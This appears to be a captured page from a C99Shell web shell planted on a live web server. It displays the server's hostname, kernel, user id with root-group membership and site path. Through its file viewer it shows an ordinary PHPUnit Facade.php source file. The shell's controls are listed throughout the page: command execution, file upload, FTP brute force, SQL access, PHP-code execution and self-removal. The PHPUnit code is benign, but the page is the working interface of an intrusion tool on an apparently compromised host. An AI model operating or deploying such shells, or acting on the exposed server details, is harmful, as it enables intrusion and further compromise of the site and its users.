!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/phpunit/phpunit/src/TextUI/Output/   drwxrwxr-x
Free 28.98 GB of 117.98 GB (24.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Facade.php (5.45 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\TextUI\Output;

use 
PHPUnit\Logging\TeamCity\TeamCityLogger;
use 
PHPUnit\Logging\TestDox\TestResultCollection;
use 
PHPUnit\TestRunner\TestResult\TestResult;
use 
PHPUnit\TextUI\Configuration\Configuration;
use 
PHPUnit\TextUI\Output\Default\ProgressPrinter\ProgressPrinter as DefaultProgressPrinter;
use 
PHPUnit\TextUI\Output\Default\ResultPrinter as DefaultResultPrinter;
use 
PHPUnit\TextUI\Output\TestDox\ResultPrinter as TestDoxResultPrinter;
use 
PHPUnit\Util\DirectoryDoesNotExistException;
use 
PHPUnit\Util\InvalidSocketException;
use 
SebastianBergmann\Timer\Duration;
use 
SebastianBergmann\Timer\ResourceUsageFormatter;

/**
 * @internal This class is not covered by the backward compatibility promise for PHPUnit
 */
final class Facade
{
    private static ?
Printer $printer                    null;
    private static ?
DefaultResultPrinter $resultPrinter null;
    private static ?
SummaryPrinter $summaryPrinter      null;
    private static 
bool $colors                         false;
    private static 
bool $defaultProgressPrinter         false;

    public static function 
init(Configuration $configuration): Printer
    
{
        
self::$printer self::createPrinter($configuration);

        if (
self::useDefaultProgressPrinter($configuration)) {
            new 
DefaultProgressPrinter(
                
self::$printer,
                
$configuration->colors(),
                
$configuration->columns()
            );

            
self::$defaultProgressPrinter true;
        }

        if (
self::useDefaultResultPrinter($configuration)) {
            
self::$resultPrinter = new DefaultResultPrinter(
                
self::$printer,
                
$configuration->displayDetailsOnIncompleteTests(),
                
$configuration->displayDetailsOnSkippedTests(),
                
$configuration->displayDetailsOnTestsThatTriggerDeprecations(),
                
$configuration->displayDetailsOnTestsThatTriggerErrors(),
                
$configuration->displayDetailsOnTestsThatTriggerNotices(),
                
$configuration->displayDetailsOnTestsThatTriggerWarnings(),
                
$configuration->reverseDefectList()
            );
        }

        if (
self::useDefaultResultPrinter($configuration) || $configuration->outputIsTestDox()) {
            
self::$summaryPrinter = new SummaryPrinter(
                
self::$printer,
                
$configuration->colors(),
            );
        }

        if (
$configuration->outputIsTeamCity()) {
            new 
TeamCityLogger(DefaultPrinter::standardOutput());
        }

        
self::$colors $configuration->colors();

        return 
self::$printer;
    }

    
/**
     * @psalm-param ?array<string, TestResultCollection> $testDoxResult
     */
    
public static function printResult(TestResult $result, ?array $testDoxResultDuration $duration): void
    
{
        if (
$result->numberOfTestsRun() > 0) {
            if (
self::$defaultProgressPrinter) {
                
self::$printer->print(PHP_EOL PHP_EOL);
            }

            
self::$printer->print((new ResourceUsageFormatter)->resourceUsage($duration) . PHP_EOL PHP_EOL);
        }

        if (
self::$resultPrinter !== null) {
            
self::$resultPrinter->print($result);
        } elseif (
$testDoxResult !== null) {
            (new 
TestDoxResultPrinter(self::$printerself::$colors))->print(
                
$testDoxResult,
                
$result
            
);
        }

        if (
self::$summaryPrinter !== null) {
            
self::$summaryPrinter->print($result);
        }
    }

    
/**
     * @throws DirectoryDoesNotExistException
     * @throws InvalidSocketException
     */
    
public static function printerFor(string $target): Printer
    
{
        if (
$target === 'php://stdout') {
            if (!
self::$printer instanceof NullPrinter) {
                return 
self::$printer;
            }

            return 
DefaultPrinter::standardOutput();
        }

        return 
DefaultPrinter::from($target);
    }

    private static function 
createPrinter(Configuration $configuration): Printer
    
{
        if (
self::useDefaultProgressPrinter($configuration) ||
            
self::useDefaultResultPrinter($configuration) ||
            
$configuration->outputIsTestDox()) {
            if (
$configuration->outputToStandardErrorStream()) {
                return 
DefaultPrinter::standardError();
            }

            return 
DefaultPrinter::standardOutput();
        }

        return new 
NullPrinter;
    }

    private static function 
useDefaultProgressPrinter(Configuration $configuration): bool
    
{
        if (
$configuration->noOutput()) {
            return 
false;
        }

        if (
$configuration->noProgress()) {
            return 
false;
        }

        if (
$configuration->outputIsTeamCity()) {
            return 
false;
        }

        return 
true;
    }

    private static function 
useDefaultResultPrinter(Configuration $configuration): bool
    
{
        if (
$configuration->noOutput()) {
            return 
false;
        }

        if (
$configuration->noResults()) {
            return 
false;
        }

        if (
$configuration->outputIsTeamCity()) {
            return 
false;
        }

        if (
$configuration->outputIsTestDox()) {
            return 
false;
        }

        return 
true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--